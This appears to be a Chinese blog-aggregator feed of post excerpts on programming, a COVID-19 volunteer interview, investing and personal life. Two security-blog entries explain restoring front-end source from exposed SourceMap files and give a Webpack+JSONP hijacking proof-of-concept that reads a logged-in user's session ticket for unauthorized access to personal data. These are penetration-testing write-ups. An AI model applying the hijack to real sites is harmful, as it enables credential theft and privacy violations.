- 博客 构建我的被动收入 2020-02-06 08:00:00网站流量中大头是图片资源，如何减少图片大小是很重要的事情。本文分享了使用AWS Lambda@Edge无服务架构通过判断浏览器UA自动转换CDN缓存的图片为Webp，将网站图片加载速度提高了1X倍以上
- 博客 王子亭的博客 2020-01-31 01:00:00
Redis 的工程价值
今年一开始先是完善了去年的 任务队列，为了让它真正地被用起来，我将之前由另外一个服务实现的定时任务系统也合并进了这个任务队列，让它有了一些固定的流量，以便我来发现性能上的问题，进一步完善它。
这项工作最后取得了还不错的效果，开始有了用户使用任务队列的功能。我也写了一篇文章来介绍 用 Redis 来实现定时任务，当然这篇文章中介绍的是一种经过极度简化的范式，实际上实际的代码要复杂的多，例如序列化、错误处理、结果查询、限流、统计等额外的特性。
这个项目让我再度增加了对 Redis 的好感，这次我用到了比较大量的 Lua Script 来保证分布式架构下的一致性（Redis 的Lua Script 会被独占地执行）。在将一致性需求限制到单个 Redis 实例可以容纳的范围（Redis 只使用一个线程）并且 Redis 运行相对稳定的情况（故障切换会丢失数据），Redis 为业务层提供了一个非常「够用」的高性能的、有一致性保证的数据同步方案。这并不是说 Redis 提供的方案有多么完美，而是在性能、功能、一致性、可靠性上提供了一个非常好的这种，更具有工程价值。
Golang 的表达能力
我还尝试了为 LeanCloud 写一个 Golang 的 SDK（后来因时间安排的关系暂停掉了，目前还未发布），就像之前我为 DeployBeta 写 ORM 一样，同样遇到了 Golang表达能力不足的问题。问题主要在于 Golang 中并没有能让 Struct 继承方法的机制（数据字段则可以通过内嵌匿名 Struct 的方式来继承）。
所以当用户定义一个「继承」自 ORM 基类的 Struct 时，我们无法向用户定义的 Struct 上添加例如 Save、Set 之类的方法，无法有效地追踪用户对于数据对象的改动。
经过几个版本的改动，我最后选择了一种将所有基本类型（string、int）包装为 Struct 的方案：
type Todo struct { orm.ObjectMeta Name orm.String `orm:"name"` Priority orm.Number `orm:"priority"`}todo := Todo{ Name: orm.NewString("test"), Priority: orm.NewNumber(1),}err = orm.Save(&todo)todo.Name.Set("test")todo.Priority.Incr(1)err = orm.Save(&todo)fmt.Println(todo.Name.Get(), todo.Priority.Get())这个方案可以做到不以字符串的形式传递字段名（可以得到编译期的类型检查），可以追踪对每个字段进行的修改（包括 Incr 等运算）。我将 Set 添加到了基本类型的封装类型上，将 Save 作为了一个全局方法，避开了 Golang 对于继承的限制。带来的问题则是用户需要通过我们的封装方法（Get）来访问字段的值；同时今后设计嵌套对象时也需要更大的工作量。
所以并不是如 Golang 的支持者说的那样，更少的特性意味着更简单的设计。当业务逻辑确实复杂，语言表达能力又非常匮乏的情况下，会逼着开发者做出一些不优雅的、不易理解的、反常规的设计，这些代码往往非常容易出错（例如反射、代码生成、强制类型转换等），而本来这些需求（如继承）在其他语言里是可以非常轻易地解决的。
TypeScript 的胜利
之前因为对 CoffeeScript 的喜爱，我的 TypeScript 使用经验非常少，终于今年我也不得不去接受 TypeScript 了。今年我用 TypeScript 开发了两个新的后端项目，也更深入地学习了 TypeScript，经过进一步的了解，我逐渐地发现了 TypeScript 的闪光点，之后我会单独写一篇文章来介绍 TypeScript。
TypeScript 有着一个先进的类型系统，这种先进并非是学术意义上的先进，而是工程意义上的先进。它几乎可以为所有 JavaScript 中常见的范式添加静态约束，得益于强大的类型推导，在大部分情况下并不需要自己添加类型标注，但却能在编译期提前发现错误、配合 Language Server 得到准确的代码补全和类型提示信息，完全没有前面提到的 Golang 中的那种束缚感。
因为 TypeScript 并不打算创造新的范式，而是尽可能将 JavaScript 社区中已有的范式用静态类型的语义描述起来。这样最大程度上地降低了 JavaScript 开发者学习的成本，提高了与标准 JavaScript 代码的互操作性，我认为这也是 TypeScript 能够取得成功的关键。
同时我也不得不接受 Atom 的市场已经几乎完全被 VS Code 取代的现实，切换到了对 TypeScript 支持更好的 VS Code。现在想想 Atom 失败的原因一方面是在 CoffeeScript 已经表现出没落的时候选择了 CoffeeScript；另一方面是希望依靠社区的力量，但又缺乏对社区的引导。例如对于插件的 GUI 改动引导不够导致界面卡顿，对于代码补全、调试等常见需求没能建立统一的标准等等。
Kubernetes 的阴谋
今年其中一个新项目是开发一个数据库调度平台，在 Kubernetes 上运行数据库容器，这和我之前在 DeployBeta 实现的原型非常相似，只不过这次是真的要上线的项目。
在去年和今年对 Kubernetes 的了解过程中我逐渐对 Kubernetes 由粉转黑。我现在认为 Kubernetes 是以 Google 为首的三大云计算巨头的垄断工具，他们开发出了一个如此复杂的系统，并引导其作为行业标准。虽然 Kubernetes 是开源并由社区维护的，但真正能够独立搭建好 Kubernetes 及其插件的公司是极少数，甚至可以说除了三大巨头之外，其他的云计算公司都不能提供稳定可靠的 Kubernetes 集群。最后大家在尝试过自己搭建之后，还是不得不购买三大巨头的 Kubernetes 云，毕竟这是行业标准嘛。
今年看过觉得最好的书是「数据密集型应用系统设计（DDIA）」，它给我的数据库调度平台带来了很多启发。书中介绍了分布式架构对于数据库的挑战，包括数据模型、复制、分区、事务、分布式共识等等，以及各个数据库在面对这些挑战时采取的解决方案，只有理清这些思路，才能在面对复杂的业务的时候采用一种或几种合适的数据库。
我的理解是当数据存在于两台或更多的计算机之上时（原因可能是容量或可用性要求），就可以称作「大数据」了。因为从一台到两台是一个质的变化，而从两台到更多只不过是量的变化。就如书中所说，在单机条件下，所有的称作都是确定的，一个操作要么成功要么失败（可能伴随着程序或系统的崩溃）；但在分布式条件下，对于经过网络的操作会引入成功和失败之外的第三种情况 —— 网络延迟，你无法预测一个操作会在下一秒完成还是永远都不会完成。所以分布式系统需要被设计成可以在容忍一定的错误（部分失效）的情况下继续运行。无论是一个分布式数据库还是一个分布式的容器平台，其实都在与这种不确定性的超时进行对抗。
写不下去的业余项目
现在我愈发认识到软件开发不是一个人的单打独斗，之前在做一些业余项目的时候还会有一些幻想，幻想自己能长期维护下去、能吸引到其他的贡献者、能建立起一个社区。但现在想想还是以内容作为主要的输出更有可行性。同时因为我对现在的工作非常满意，在工作中基本完全满足了我对于写代码和团队协作的欲望，所以我可以将业余时间放在其他的输出形式上，在接下来一年中输出更多的文章或视频，这样我的经验和知识会给读者带来更大的价值。
- 博客 庭说 2020-01-28 00:00:00
人类在宇宙很渺小，但我们可以通过科学知识武装自己，变得强大无比。
目前，我为志愿者防疫组织 A2N 深圳站 收集相关科普信息，相关内容就不搬运到博客上了。
🦠关于病毒
此次流行的是一种新发现的冠状病毒（Novel Coronavirus），ICTV（国际病毒分类委员会）命名为 SARS-COV-2。引发的疾病，WHO（世界卫生组织）正式命名为 COVID-19 。
冠状 病毒 疾病 年份 CO VI D 19 corona virus disease 2019 电子显微镜观察发现，冠状病毒的包膜上有向四周伸出，形状如同皇冠 👑（crown） 、日冕（corona）的棘突，因此科研人员将之命名为「冠状病毒」（Coronavirus）：
作为单股正链 RNA 病毒（没有双股稳定），新型冠状病毒最大的特点就是：进化快。这使得其变异速度很快，且不利于设计疫苗（可能要几年的时间）。
- 必读 | 2019 冠状病毒病（COVID-19）疫情 - 世界卫生组织
- 视频 | 关于新冠肺炎的一切 - 回形针
- 图文 | 科普小学堂：2019 新型冠状病毒 - 联合早报
- 图文 | 数字里的感冒、流感和新冠肺炎 - 索拉否
- 手册 | （面向医护的）新冠肺炎防治手册：中文版 | 英文版
实时疫情
Telegram
微信
RSS
- 选择一个 RSS 订阅器
- Telegram 的 @RSSFlowBot
- 少数派的《RSS 入门指南》：https://sspai.com/post/56391
- 关注以下 RSS 源：
网页
- 2019 冠状病毒病疫情 - 维基百科
- 2019 冠状病毒病疫情相关旅行限制 - 维基百科
- Coronavirus COVID-19 Global Cases by Johns Hopkins CSSE
- COVID-19 Global Pandemic Real-time Report by DXY Doctor
科学防疫
经常洗手
- 🧼🖐⏲2️⃣0️⃣ Wash your hands regularly, for at least 20 seconds：经常使用肥皂 🧼 或洗手液 🧴 洗手 🚰，清洁时间至少 20 秒以上。
- 🚫🤦 Don't touch your face：未洗手前，不能碰眼睛、鼻子、嘴巴以及其他暴露在外的伤口。
正确打喷嚏
- ✅🤧💪 Do sneeze into your elbow：打喷嚏，用手肘掩住口鼻（Elbow-touch）。
- 🚫🤧🤲 Don't sneeze into hands：打喷嚏，不手捂。
保持距离
- 🧍🏠 Stay at home：在家待着。
- 🧍↔️🧍 Stand 2 meters apart：保持 2 米的距离。
- ✅📦😌 If practical, have groceries and other items delivered to your home：尽量网购。
- ✋💨🤚 Air High Five：空中击掌。
- 🚫🤝 No handshakes：不握手。
- 🚫🧑🤝🧑 No close contact：不亲密接触。
- 🚫🏟 No large gatherings：不聚众
其他
- 🚫🛒😡 When using local shops, don't buy literally everything on the shelves. Leave enough for others 💕：请勿哄抢物资，别人没有防护好，间接加大了你被感染的几率。消灭病毒，必须万众一心。你好，我好，大家好。
A2N 访谈
以下提问来自 Zoe 陈知白。
为什么加入 A2N？（或用一句话告诉我刚加入这个组时最吸引你的地方）
- 真正伤害着一个人、一个家庭，甚至一代人的，并不是悲伤所带来的痛苦本身，而是他们为了逃避痛苦所做的事情。by Julia Samuel
- 如果这是我们当代的悲哀，我想尽力阻止悲剧的发生。
我们逃避的痛苦是什么？
- 不用逃避，时间是一把良药。
我们不能为了逃避痛苦而去做的事情是什么？
- 伤害别人。学会与自己和社会和解，人生没那么复杂，不过一日三餐。
我们应该做什么？
- 以笔代口，写出来就好受些了。
加入 A2N 前后生活的变化？对待疫情的看法的变化？在这次的疫情中的心态的变化？
- 加入 A2N 前：可以说忘记了吗？我是一个健忘的人。
- 加入 A2N 后：会阅读更多新闻和科普文章；熬夜维护文档。
- 看法的变化：从一开始的愤怒到现在的麻木（不会点开财新的文章了）。
- 心态的变化：很多事情，并不是非黑即白。类似苏联时期的强权动员，虽然对一部民众不人道，但是保住了国家。
简单介绍下你在 A2N 的工作？
- 收集、整理、优化 AN2 深圳站的石墨文档
在 A2N 工作中有没有遇到印象比较深刻的朋友、求助者、讨论或事件？
- 朋友：热心的乐子（LeiX）总有使不完劲。虽然生物都是利己的，但是志愿者们迸发出的无私精神，是人类最宝贵的品质之一。
- 求助者：帮武汉某医院的某科室筹备医疗物资，前几天询问近况，被单方面解除了好友关系。遑论原因，悲伤了一会，继续去帮助其他人了。不要揣度 Ta 人的动机，因为人类是一个很复杂的动物。
- 讨论：新闻最起码要经过 2 个独立信源的交叉验证才能算是事实，所以很多事情一开始就是 fake news，没必要讨论。不要把自己沉浸在无尽的网络讨论之中，多看权威的信息源（虽然有时候也失常），用基本逻辑做推论，即可提高自己的信息素养。
- 事件：李文亮医生就这样走了。他敢于发声（没有推掉采访），是一个真正的公民，而我在自我阉割（所思所想），因为我对目前言论环境抱着极度悲观的环境，所以这篇访谈中，说的话不多。
大家都说在 A2N 遇到了很多可爱的小伙伴，那么这些小伙伴，固然是早就存在的，那为什么平时生活中没有遇到，或者也可能明明遇到却没有发现？
- 如果你用心运营一个公众号 / 博客 / 自媒体，你会遇到很多同好的。
这样的小伙伴固然是越多越好，那么，A2N 的经历，是否会给你启发，如何去认识这样的小伙伴？
- 保持开放，心怀感恩，乐于助人。花开惹人爱，花香引蝶来。
你在参与 A2N 和其他志愿活动的时候有没有遇到过家人朋友不理解不支持的情况，你是怎么应对的？
- 做自己认为正确的事情，不理解也没关系，Ta 们又不会打断你的腿。
你对 A2N 团队模式有什么体会？这对你的工作方式或效果有什么帮助或影响？
- 体会：随时建立专门的讨论小组（解决单一问题），提高大群的有效信息增量。
- 影响：讨论时精简人员，不要占用无关人员的时间。少开会；如果开会，提前知会，并做足准备。
你觉得线上的志愿者，有什么优势和不可替代性？
- 没有利益相关
- 传播速度更快，「辐射」范围更广。
- 能迅速解决一些小而细的问题。
你觉得 A2N 这样网络志愿团队，它在疫情救助中该如何定位？你如何看待自己在这次疫情救助中的角色？
- 如何定位：定位是跟着需求走的。现场急需什么，网络志愿团队发挥能动性解决这个问题。
- 角色看待：虽然维护的文档传播范围有限，但是每影响一个人，世界就多了一份理性。
如果时间倒退回疫情爆发初期，你认为怎样工作更能发挥这个志愿者团队的作用？
- 增加团队协作工具，提高沟通效率。
- 以石墨文档为信息枢纽不够高效，因为在手机端没有侧边目录栏，不能跳转阅读。
- 要跟程序员合作，例如 wh.opensource-service.cn，把石墨文档的数据推送到独立网页。
如果退回到疫情初期，如何预防在武汉的马里奥同学（我们设计组大大）吃不上肉的情况？
- 没肉吃，没关系，鸡蛋的营养很均衡，是很好的代替食物。
你现在加入了哪些项目组，为什么？你觉得深度项目对于 A2N 的意义？你会想要自己发起新的项目吗？是什么？为什么？
- 能力有限，目前只加入了 AN2 深圳站。
- 物以稀为贵，深度项目可以让 A2N 得到更广泛的传播。
- 不会自己发起新的项目，但有个建议：采用更清爽的排版，减轻读者的阅读压力。例如使用 Markdown 写好文章后，然后采用 Markdown Nice 一键排版。
普通人，真的是一贯被动的吗？
- 我觉得普通人对文章 / 资讯多问几个为什么、信息是否有可信来源、少转发，就已经是「主动」为社会降噪减压了。
每个普通人，日常生活中，除了做好自己的本职工作外，还能为这个社会做什么？
- 除了做好自己的本职工作外，从小处着眼，保护好自己和亲朋好友。如果精力和时间允许，再去参与较大的公民活动。
除了突发状况外，平时还能做什么？
- 平时准备好应对突发情况，例如如果发生洪灾，你手机或者电脑里的珍贵影像是否已经备份好。病毒如是。
如果确切地知道自己的承担能让社会变得不一样，你愿意做到什么程度？
- 我已经体验过人类的大部分情感，对生死的态度比较坦然。如果我知道这个病毒会危机到全人类的安危，我管他批评不批评，老子到处说，雪崩时，没有一片雪花是无辜的。
如何找到属于自己的，让社会更加美好的方法？
- 我在 博客 上教读者们如何跨越「数字鸿沟」，打破信息茧房。虽然可能再次被训诫。
除了学习的工作技能与习惯外，若干年后再次回忆起 A2N，你可能对它印象最深的感觉是什么？
- 会想起鲁迅的那句话：此后如竟没有炬火，我便是唯一的光。
这次疫情结束后，未来你是否会有兴趣更深度地参与一些非盈利的社会志愿项目？A2N 对你在认识社会公益与自助活动方面，有起到什么影响吗？
- 有兴趣更深度地参与一些 非盈利的社会志愿项目。
- A2N 对我的影响：不要觉得个人的力量很渺小，众人拾柴，可以燎原。
- 博客 构建我的被动收入 2020-01-18 08:00:00如果网页重复过多会影响网站排名，那么如何计算网站内网页的相似度分布？本文教你通过开发Python脚本使用TF-IDF计算网站全站页面相似度分布并可视化展示出来
- 博客 Jiajun的编程随想 2020-01-11 08:00:00《计算机中的权衡(trade-off)》计算机中一切都是权衡(trade-off)。所谓权衡，即在两个极端中取一个相对中间的位置，不是非黑即白，而是根据实际情况作出取舍...
- 博客 Jiajun的编程随想 2020-01-10 08:00:00《[声明]本站所有文章禁止转载》最近发现有好些个垃圾站直接全文抄袭本站的文章，请注意，本站此前的协议是“转载需注明作者及原链”，垃圾站直接抄文章不注明原链是违反此协议的，自2020年1月10日12:00起，本站所有文章(包括以前的)都 **禁止转载**，引用请注明作者及原链...
- 博客 Vulkey_Chen's Blog 2020-01-08 00:00:00
利用SourceMap还原网站原始代码(前端)
作者：key
说明
现在越来越多网站使用前后端分离技术，利用Webpack技术将JS类拓展语言进行打包，当然很多都是配套使用，例如Vue（前端Javascript框架）+Webpack技术；
这种技术也在普及，并且转向常态化，对渗透测试人员来说极其不友好：
1.增加了前端代码阅读的时间（可读性很差） 2.由原因1间接造成了前端漏洞的审计困难性
但是也具备一定的好处：
1.采用这种模式，后端接口将完全暴露在JS文件中
除此之外，如果生成了Source Map文件可以利用该文件还原网站原始前端代码（关于技术名词的具体含义请自行查询百科）
主流浏览器都自带解析Source Map文件功能（开发者工具-Sources【火狐下是调试器】）：
展开可以看见具体文件和代码：
但是文件过多的情况下，单个查看繁琐，不便于搜索（浏览器的开发者工具支持全局文件搜索，但搜索速度较慢），使用
restore-source-tree可以解决这一问题。restore-source-tree 安装
原作者的有BUG，使用国外友人修复后的版本：https://github.com/laysent/restore-source-tree，安装步骤如下：
git clone https://github.com/laysent/restore-source-tree cd restore-source-tree sudo npm install -gSource Map文件还原
在这类JS文件下通常会有一个注释：
map文件就是js文件所在目录下，拼接URL即可访问，将其下载下来：
wget http://hostname/static/js/app.fedfe85b2fdd8cf29dc7.js.maprestore-source-tree进行还原：# -o 参数是指定输出目录，若不适用则为默认的output目录 restore-source-tree app.fedfe85b2fdd8cf29dc7.js.map
成功获得原代码：
Reference
https://yukaii.tw/blog/2017/02/21/restore-source-code-from-sourcemap-file/
- 博客 Vulkey_Chen's Blog 2020-01-08 00:00:00
动态JS劫持用户信息
Webpack+JSONP劫持
作者：key
注：本文已对敏感信息脱敏化，如有雷同纯属巧合。
前言
在做测试的时候发现一个请求：
POST /user/getUserInfo HTTP/1.1 Host: xxxxx Cookie: xxxx ticket=xxxxx其对应返回的信息包含了我本身用户的敏感信息：手机号、姓名、邮箱…
通过BurpSuite的插件
Logger++搜索发现该ticket值居然出现在了JS文件中：
确定漏洞
通过测试我发现以上所述请求中的
Cookie为无效请求头，后端不对齐校验，但对ticket校验，也就说明此处的ticket代表了获取用户信息的关键参数，换种说法：当你知道用户的ticket参数即可获取该用户信息。判断JS动静态
当我在
Logger++插件搜索到ticket值存在JS文件内容时，我的第一想法就是这个JS文件为动态类型，其文件内容跟随用户凭证字段的变化而变化。测试：删除Cookie字段，结果：
ticket参数值消失，由此可以判断该JS内容为动态类型。再尝试将测试账户A的Cookie字段内容替换为测试账户B的Cookie字段内容，结果：
ticket参数值变为测试账户B用户的对应值，由此可以判断该JS文件路径是固定的，并不是动态路径。Webpack+JSONP劫持
已知JS文件路径为：
https://website/app.xxxxx.js查看其文件内容发现其被Webpack打包过：
那么我们想要劫持这个JS文件内容其实就可以使用JSONP的PoC代码（因为这段JS文件内容就是
自定义函数+传入参数）：<script> function webpackJsonp(data) { alert(data) } </script> <script src="https://website/app.xxxxx.js"></script>但这样得不到我们想要的
ticket值，简单的看了下JS代码，这段JS代码内容的格式是这样的：webpackJsonp 函数传入两个参数：第一个参数毫无用处，第二个参数传入的值包含了我们想要的
ticket值。那以上代码就可以这样修改：
<script> function webpackJsonp(data, data1) { alert(data1) } </script> <script src="https://website/app.xxxxx.js"></script>但我们还是没得到我们想要的信息：
因为第二段参数传入的值还需要进行解析，我发现这段值内容就是一段JSON对象，而对象的每个属性都在定义一个函数：
寻找
ticket所在函数位置，发现其在jbTV: function...内，知道了所在函数位置，PoC代码只需要这样进行构建：<script> function webpackJsonp(data, data1) { alert(data1['jbTV']) } </script> <script src="https://website/app.xxxxx.js"></script>访问，成功获取：
后面只需要稍微的加个正则就可以了～
攻击方式
用户登录状态，访问该漏洞页面，触发即可获取到
ticket值，将该值带入以上所列请求中即可越权获取用户信息结尾
心细一点，漏洞就在眼前，
- 博客 Randy's Blog 2020-01-07 08:00:001530
- 博客 Jiajun的编程随想 2020-01-07 08:00:00《Golang不那么蛋疼的sort》以前Go里写排序，如果不能用 `sort.Ints`, `sort.Strings`, `sort.Float64s` 等等快捷函数，就只能实现 `sort.Interface` 这个接口了...
- 博客 Jiajun的编程随想 2020-01-06 08:00:00《Flutter给Android应用签名》给Google Play交了25美元保护费，琢磨着把博客的App上架，上架的前提就是给应用签名。如下：```bash...
- 博客 构建我的被动收入 2020-01-05 08:00:00本文介绍了我使用挖财App坚持8年记账后带来的积极变化，使用记账工具帮助我分析个人以及家庭财务规划最终帮助我作出更好的投资理财决策
- 博客 构建我的被动收入 2020-01-04 08:00:00本文分析了为何使用简单的ETF指数定投可以带来年化40%多的收益甚至跑赢了华泰证券涨乐财富通App 94.4% 的用户（华泰证券用户量占A股自然人数量的10%，而其App的用户量占其客户的近90%），证明了指数投资的力量
- 博客 构建我的被动收入 2020-01-02 08:00:00本文总结了我在2019年使用ETF指数定投战胜大盘达到40%多的投资收益的过程
- 博客 Randy's Blog 2020-01-01 08:00:001536
- 博客 Jiajun的编程随想 2020-01-01 08:00:00《使用Gitea+Drone打造自己的CI/CD系统》有些代码我放本地了，因此搭建了一个Gitea，再加上家里有个老机器，闲着也是闲着，就搭建一个Drone CI来跑测试。首先可以直接安装...
- 博客 Jiajun的编程随想 2019-12-31 08:00:00《2019年就要结束啦！》近来有这么一种感觉，时间过的越来越快：2019年就这么悄然的溜过去了。如果说我的2018年是下降，那么2019年就是螺旋回升。人生就是这样，有起有落，我接受这样的人生，我要做的就是尽我最大努力去保证它是螺旋上升，而不是螺旋下降，这就够了...
- 博客 王子亭的博客 2019-12-31 01:00:00
转眼又一年过去了，今年我将更多的时间放在了除了编程之外其他的业余爱好上面，例如太空探索、开车、乐高、视频拍摄和剪辑、无人机、游戏、记账等等。
在今年年初和蛋黄一起去 体验了一次游轮 —— 一种不需要做计划、自助吃喝、走几步路就可以回到室内、再多走几步就能回到房间的「佛系旅行项目」，不喜欢出门的蛋黄对此表示非常满意。
在 2018 年末我和蛋黄一起报名了驾校，在 6 月拿到驾照的当天，我们就租了一辆共享汽车上路了，然后第二天就开去了上海，第三天就出了一次不大不小的事故 —— 蛋黄开着车误上了上海的高速路，在下闸道时减速不及撞到了护栏。
在驾驶生涯的初期遇到这样一个不大不小的事故其实也算是一种幸运，可以让我们更直接地认识到驾驶本身的危险性、提高安全意识，避免之后更严重的事故。
在之后的半年里我们也经常开着共享汽车出去玩，加起来可能开了两、三千公里的样子，不过大多还是短途，最远也就是苏州和上海。目前我的驾驶经验绝大部分是在电动汽车上，想想我可能算是第一代直接接触电动车的驾驶者了。我们今年还去了南京、大连和沈阳，我们都分别在目的地租了车，以一种不同于以往的方式在其他城市旅行。
确实掌握了开车这项技能之后就像打开了新世界大门，占据了城市大量面积的公共道路其实是为汽车而设计的，坐在驾驶位去看到道路的设计、道路上的标识标线，有一种完全不同的感受。也认识到了汽车确实是最伟大的发明之一，极大地拓展了人类的活动空间、活动的自由性。
今年比之前投入了更多的时间在游戏上面，首先是年初突然发现我曾在 Steam 中买过一个叫坎巴拉太空计划的游戏，恰逢当时对 太空探索 重拾兴趣，于是便一发不可收拾，目前已成为我 Steam 上游戏时间第二的游戏。
在 2017 年我曾从朋友那里借过一台 Switch，但因为他并非任天堂粉丝，机器里也仅有一款任天堂的游戏，所以当时并没有对 Switch 产生兴趣。今年我开始在一些游戏相关的自媒体了解到业界对于任天堂极高的评价，于是在 8 月时入手了一台 Switch，接触到了 赛尔达传说：旷野之息、马里欧：奥德赛、喷射战士 2、健身环大冒险这样的任天堂第一方游戏，这些游戏的设计和制作水平让我完全成为了任天堂的粉丝，不由得有一种过去十几年的游戏都白玩了的感觉。
在今年一月时我决定用复式记账的方式记一年的帐，来和 2016 年的年度支出分析 做一个比较。复式记账用账户之间款项的转移代替了单纯的支出流水帐，可以更好地体现投资、货币兑换，也可以更好地进行回溯和纠错。
但因为现在我和蛋黄的支出都是混在一起的，所以需要连着她的帐目一起记，否则这个账就没什么意义了。因此每次记账我都需要去翻她的交易记录，确认一些款项，导致记账这件事情经常拖延很久，到现在也只把帐目清理到了今年 7 月。后面我会尽力把这一整年的帐目整理完，来写一篇日志，但之后可能就不会再这样记完整的账目了，可能会考虑退回之前每个月记录一次个账户快照的方式。
在今年中，偶尔几次会有一种通过视频来记录和展示生活中有趣的瞬间的冲动。我用去年买的小蚁微单和今年买的无人机拍摄了不少素材，也录制了一些游戏实况，做了一些尝试，但实际的产出的视频很少。
和文字内容不同，视频的拍摄是不能轻易重来的，需要后期将素材剪辑成作品。而且和之前我录制的播客相比，视频的素材要更加非线性，剪播客更多的是将「不想要的部分剪掉」，而剪视频则是「将想要的部分挑出来」，后者的难度要高出不少。
同时视频的制作对设备的要求也更高，不过我想着还是不要一下子买太多设备，不如每产出几个视频就升级一样设备，这样可能会让我的视频播主之路变得更有趣，有一种逐渐升级的感觉。
皮蛋豆腐还是一如既往。
- 博客 二丫讲梵 2019-12-30 05:05:12如要阅读全文，点击标题跳转。所有胆怯的东西，都正是应该多去经历的东西，这是一个应当的道理，但是大多数时候，我在面对这类情况的时候，基本上都是尽量往后拖延一些，以便让自己在不得不面对的时候，有一个相对舒适的心理准备。七月份换了新的工作，每天上下班的时间直线上升，一两个小时的通勤时间，让我每天都处在疲敝的状态之中，而路上的这些时间，几乎也都算是又累，又没有多少实际效益与成长的，可算是纯浪费，于是，新找的住处，尽量距离公司近一些就成了最迫切的需求。距离公司最近的，莫过于公司对面的小区了，然而我最大的毛病就是，大多数时候不太敢于，或者不太擅于去直面一些摆在眼前的问题，比如，当你托我为你办个事儿，或者购买个什么东西的时候，办完问我是否辛苦，或者花费多少的时候，我则常常不能直面这样的问题。这是目前为止我意识到的自己最大的性格上的一个短板，我似乎也不太能够定义这种性格的成因或者影响，我常常在看到别人面对一些情况的时候，经常能够直抒己见，去表达自己的权益，阐述自己的投入，而我却总是难以做到。于是，公司对面的小区，我仅仅是在一个晚上问过门口老大爷之后，他说他会帮忙问问，第二天给我答复，然而第二天什么消息也没有，我再次询问的时候，已经是另外一个年轻保安，态度非常简洁地告诉我，没有。我于是只能去周边转悠，也认为这里是没有的了。
- 博客 Jiajun的编程随想 2019-12-27 08:00:00《为什么要使用gRPC？》技术选型的时候，多问几个为什么总是没错的。对于RPC，为什么要选择gRPC而不是其他的呢？> 这里要定义一下，RPC = Remote procedure call。我们暂且也把RESTful列入其中一起对比(准确的来说RESTful是一种风格...
- 博客 Randy's Blog 2019-12-25 08:00:001542
- 博客 Jiajun的编程随想 2019-12-24 08:00:00《Matebook X Pro 2019安装Debian 10》最近着手把手头上的三台ArchLinux都换成Debian 10, 更换的原因是不想再频繁更新了，ArchLinux很好用，唯一的缺点就是更新太频繁了，其实大多数软件的新特性我都用不上，比如内核，我就要一个bbr，最新的LTS内核已经有了，再新的也只是更新驱动而已...
- 博客 构建我的被动收入 2019-12-22 08:00:00本文讲述了基于VSCode编辑器开发一款ToDo插件并分析了Emacs和VSCode架构的差异
- 博客 Jiajun的编程随想 2019-12-22 08:00:00《ArchLinux忽略某个包的升级》最近滚挂了，滚了两年，终于挂了一次，挂在啥地方呢？从5.3的内核升级到5.4之后，wifi用不了了。去报了个bug，但是尝试了几个更新版本都没有修复，因此准备先忽略内核的更新...
- 博客 构建我的被动收入 2019-12-21 08:00:00本文讲述了基于词法分析和语法分析等编译原理知识使用bison开发一款解析ToDo格式文本的解析Parser
- 博客 Jiajun的编程随想 2019-12-21 08:00:00《SQLAlchemy使用主从与数据库autocommit》autocommit，意思就是自动提交。它代表着这么一个行为，如果autocommit设置为True（或1），意味着，每一个传输到DBMS的SQL都会被当作一个事务来执行，并且提交。用MySQL举个例子...
- 博客 Jiajun的编程随想 2019-12-19 08:00:00《Blackbox禁用IPv6》使用Blackbox Exporter对我的主站进行健康检查，但是由于本地的网络对IPv6支持并不好，而Blackbox默认优先使用ipv6来访问，这样就导致老是报警，加入以下配置来避免使用IPv6...
- 博客 构建我的被动收入 2019-12-18 08:00:00如何进行时间管理？本文介绍了我近3年对时间管理工具（GTD）的思考，最终构建了一套以VSCode工具为基础结合邮件通知的可以长期免费使用的时间任务目标管理工具，帮助你成为一个高效率的人
- 博客 Jiajun的编程随想 2019-12-18 08:00:00《预防缓存击穿》一般来说，传说中的高并发解决方案的一大法宝就是使用缓存。没有缓存时，我们的请求是这样的：```...
- 博客 Jiajun的编程随想 2019-12-18 08:00:00《Go 1.13的errors挺香》前段时间Go发布了1.13,但是因为还没有进Arch的官方库，所以没去尝试。今天抽空试了一下，非常香。我们先来看个例子，然后看看源码...
- 博客 Jiajun的编程随想 2019-12-16 08:00:00《flutter开发体验汇报》最近我用flutter给我的博客开发了一个App，这一篇文章是体验报告，也希望能给想要了解flutter的朋友们一些参考。第一天初始化项目是在2019.11.28，到今天为止一共19天，一共迭代了4个版本，目前是0.4.0。目前为止包含这些功能...
- 博客 Randy's Blog 2019-12-15 08:00:001553
- 博客 Jiajun的编程随想 2019-12-13 08:00:00《自己封装一个好用的Dart HTTP库》用过Python的同学，大概都用过requests这个库，这么好用的库，就会想其他语言有没有这个库。Dart没有，所以自己封装：```dart...
- 博客 Jiajun的编程随想 2019-12-11 08:00:00《Flutter应用启动后检查更新》开发一个App时，有这么一种需求，用户打开App时，做一些操作，例如检查更新。Flutter的UI是单线程的，不过好在有 `async` 等，但是有一个问题，那就是当检查到有更新的安装包时，怎么在UI上显示出来...
- 博客 Jiajun的编程随想 2019-12-10 08:00:00《Grafana Gravatar头像显示bug修复》给Grafana提了个PR修复了这个问题，现在PR已经合并了，估计会在下个版本发布。Grafana的响应还是很快的，全程大概2d。事情的起因是这样的，我发现自建的Grafana登录之后，左下角的头像裂了，于是就把请求抓出来，发现...
- 博客 贼拉正经的技术博客 2019-12-09 22:30:181557
- 博客 贼拉正经的技术博客 2019-12-09 17:51:521558
- 博客 贼拉正经的技术博客 2019-12-09 09:54:371559
- 博客 贼拉正经的技术博客 2019-12-09 09:54:211560
- 博客 贼拉正经的技术博客 2019-12-09 09:54:031561
- 博客 贼拉正经的技术博客 2019-12-09 09:53:371562
- 博客 贼拉正经的技术博客 2019-12-09 09:53:231563
- 博客 贼拉正经的技术博客 2019-12-09 09:53:041564
- 博客 贼拉正经的技术博客 2019-12-09 09:52:021565
- 博客 贼拉正经的技术博客 2019-12-09 09:51:491566
- 博客 贼拉正经的技术博客 2019-12-09 09:51:371567
- 博客 贼拉正经的技术博客 2019-12-09 09:51:201568
- 博客 贼拉正经的技术博客 2019-12-09 09:51:071569
- 博客 贼拉正经的技术博客 2019-12-09 09:50:531570
- 博客 贼拉正经的技术博客 2019-12-09 09:49:321571
- 博客 贼拉正经的技术博客 2019-12-09 09:49:161572
- 博客 贼拉正经的技术博客 2019-12-09 09:48:551573
- 博客 贼拉正经的技术博客 2019-12-09 09:48:361574
- 博客 贼拉正经的技术博客 2019-12-09 09:48:201575
- 博客 贼拉正经的技术博客 2019-12-09 09:48:061576
- 博客 贼拉正经的技术博客 2019-12-09 09:47:431577
